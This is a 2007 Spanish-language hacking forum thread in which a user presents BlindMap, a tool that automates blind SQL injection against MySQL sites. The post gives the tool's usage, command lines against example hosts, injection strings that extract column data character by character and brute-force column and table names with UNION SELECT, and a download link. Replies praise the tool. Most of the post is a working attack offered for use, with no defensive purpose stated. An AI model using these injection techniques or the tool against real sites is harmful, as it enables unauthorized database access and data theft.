BlindMap - Advanced SQL Injection

Iniciado por codebreak, 9 Junio 2007, 00:35 AM

0 Miembros y 1 Visitante están viendo este tema.

codebreak

Hola,

Esta es una pequeña aplicación que hice el otro día.
Consiste en un bruteforcer automatizado para inyecciones ciegas (blind).  La idea principal de esta utilidad es la posibilidad de construir inyecciones SQL a gusto (sean ciegas o no) y utilizando el poder de la fuerza bruta. Se que hay una gran cantidad de utilidades para poder realizar inyecciones, sin embargo, la gran mayoría (o las que yo he visto) poseen inyecciones predeterminadas para obtener información especifica y no te dan la libertad de poder crear tus propias inyecciones con procesos automatizados.

Con esta utilidad, podrás crear tus propias inyecciones utilizando un incremento de char(n) para poder obtener información valiosa, incluso pudiendo utilizar diccionarios para poder forzar el nombre de tablas, columnas, etc...

La aplicacion:

   ______ _ _           ____  ___           
   | ___ \ (_)         | |  \/  |           
   | |_/ / |_ _ __   __| | .  . | __ _ _ __ 
   | ___ \ | | '_ \ / _` | |\/| |/ _` | '_ \
   | |_/ / | | | | | (_| | |  | | (_| | |_) |
   \____/|_|_|_| |_|\__,_\_|  |_/\__,_| .__/
                                      | |   
                                      |_| Rev.4

~ [ www.codebreak.tk - codebreak1984@gmail.com] ~

   Blind SQL Mapper - For advanced SQL Injection

Works with all mysql versions. Just desing a valid query.


Coded by: Codebreak (a.k.a Codebreak1984)
Contact: codebreak1984@gmail.com

-----------------------------------------------------------------------------
Usage: sql.exe -type host path injection check
type:
-column      Will try to find valid columns using a wordlist.
-brute       Will try to bruteforce your query.
-table       Will bruteforce your query with a wordlist.
host:        target server (ip or hostname)
path:        vulnerable path, including script and variable
injection:   a valid mysql query.
-[+]          the incremental MID variable, in case of a true query.
-[char]       the incremental char numbers to compare the column data.
-[word]       You can test words from a wordlist. Nice to find tables.
check:       A string shown in a valid query

Examples:

sql.exe -brute "www.injectme.com" "/guestbook/recorded/show.php?id=1" "+AND+ASCII(MID(column,[+],1))=[char]" "admin data"

sql.exe -column "www.injectme.com" "/news/news.php?id=1" "Ps3 released!" "wordlist.txt"

sql.exe -table "www.injectme.com" "/news/news.php?id=-1+UNION+SELECT+1,2,3,4,5+FROM+[word]" "Ps3 released!" "wordlist.txt"

-----------------------------------------------------------------------------




Un ejemplo:
Supongamos que yo poseo un script con fallas y averiguo que existe una columna llamada "name", de modo que deseo obtener información dentro de dicha columna, asociada a mi consulta (id=404). Esta consulta debiese funcionar en MySQL 3.x

sql.exe -brute "localhost" "/system/search.php?search=404" "+AND+ASCII(MID(name,[+],1))=[char]" "404"

Donde:
- Host: localhost.
- Path (y consulta válida): "/system/search.php?search=404"
- Inyección: "+AND+ASCII(MID(name,[+],1))=[char]"
- columna: name
- Utilizando [+] y [char] para fuerza bruta. ("[+]" incrementa solo cuando se encuentra un "match" válido y "[char]" incrementa hasta un match válido).
- match: 404 (no es el ID, es un keyword en caso de resultado valido; 1=1).

* Ya se que lo que buscamos ya aparece en la web y la inyección es innecesaria, pero es para probar el concepto.

Lo anterior va a probar:
search.php?search=404+AND+ASCII(MID(name,1,1))=76
search.php?search=404+AND+ASCII(MID(name,1,1))=77  <--- MATCH VALIDO: 77 representa la letra M
search.php?search=404+AND+ASCII(MID(name,2,1))=32  <--- BUSCANDO SEGUNDA LETRA.
search.php?search=404+AND+ASCII(MID(name,2,1))=33
search.php?search=404+AND+ASCII(MID(name,2,1))=34
search.php?search=404+AND+ASCII(MID(name,2,1))=35


Resultado:



Otro ejemplo: mysql 3.x
Hagamos que conocemos otra inyección y ahora queremos conocer el nombre de la columna, utilizando esta consulta.

ORDER+BY+column--

De modo, que intentare esto:
sql.exe -column "www.somesite.com" "/news/news.php?id=1" "Ps3 released!" "wordlist.txt"

Donde:
- Host: ww.somesite.com
- Path (y consulta válida): ""/news/news.php?id=1"
- Match (encontrar): "Ps3 released!"
- Wordlist: "wordlist.txt"

Esto intentara:

news.php?id=1+ORDER+BY+user-
news.php?id=1+ORDER+BY+users--
news.php?id=1+ORDER+BY+pass--
news.php?id=1+ORDER+BY+password--
news.php?id=1+ORDER+BY+passwords--

*Cuando se encuentre un resultado válido (1=1), la aplicación listara el nombre de la columna.
** Esta es la unica consulta sin modificacion, esta pre diseñada. (de modo que puede fallar en ciertas apps, debido al diseño)


Otro ejemplo!: mysql 4.x
Encontramos otra inyección y ahora podemos utilizar UNIONES en las consultas, de modo que intentare averiguar el nombre de las tablas.

Intentare esto:
sql.exe -table "www.somesite.com" "/news/news.php?id=-1+UNION+SELECT+1,2,3,4,5+FROM+[word]" "Ps3 released!" "wordlist.txt"

Donde:
- Host: www.somesite.com
- Path & Inyección Valida (N° de columnas): "/news/news.php?id=-1+UNION+SELECT+1,2,3,4,5+FROM+[word]"
- Utilizando "[word]" como variable, donde estaran las palabras del diccionario.
- Match: "Ps3 released!"
- Wordlist: "wordlist.txt"
* Cuando haya un resultado valido, la app nos dira la palabra valida.

Obviamente, estos son meramente ejemplos. Ustedes pueden diseñar sus propias consultas.
La idea principal de esta aplicación es poder tener una mano extra, que nos ayude cuando el proceso se vuelve tedioso y puede ser automatizado... porque como podran ver... no es una herramienta muy amigable y podriamos decir que es un poco avanzada.

Descarga:
http://rapidshare.com/files/30757746/sql.zip.html

Adios!


W4ck1ng Team Member


h4xxor

code buena tool felicitaciones por tu avance y el trabajo que estas haciendo una tool de facil compilado...gracias
[Blog
White Hat Hackers? Crap Cyber War Time

Bl4ck H4t F0r |_if3

WHK

Porfin un usuarui de rapidshare y no de megaupload  :xD

Muy bueno tus tutos codebreack... mucho antes que entraras en este foro yo miraba todos tus videos y desde entonces que he aprendido bastante... ojalá tenga algún dia el tiempo que tu tienes para poder aprender mas  :xD

Felicitaciones.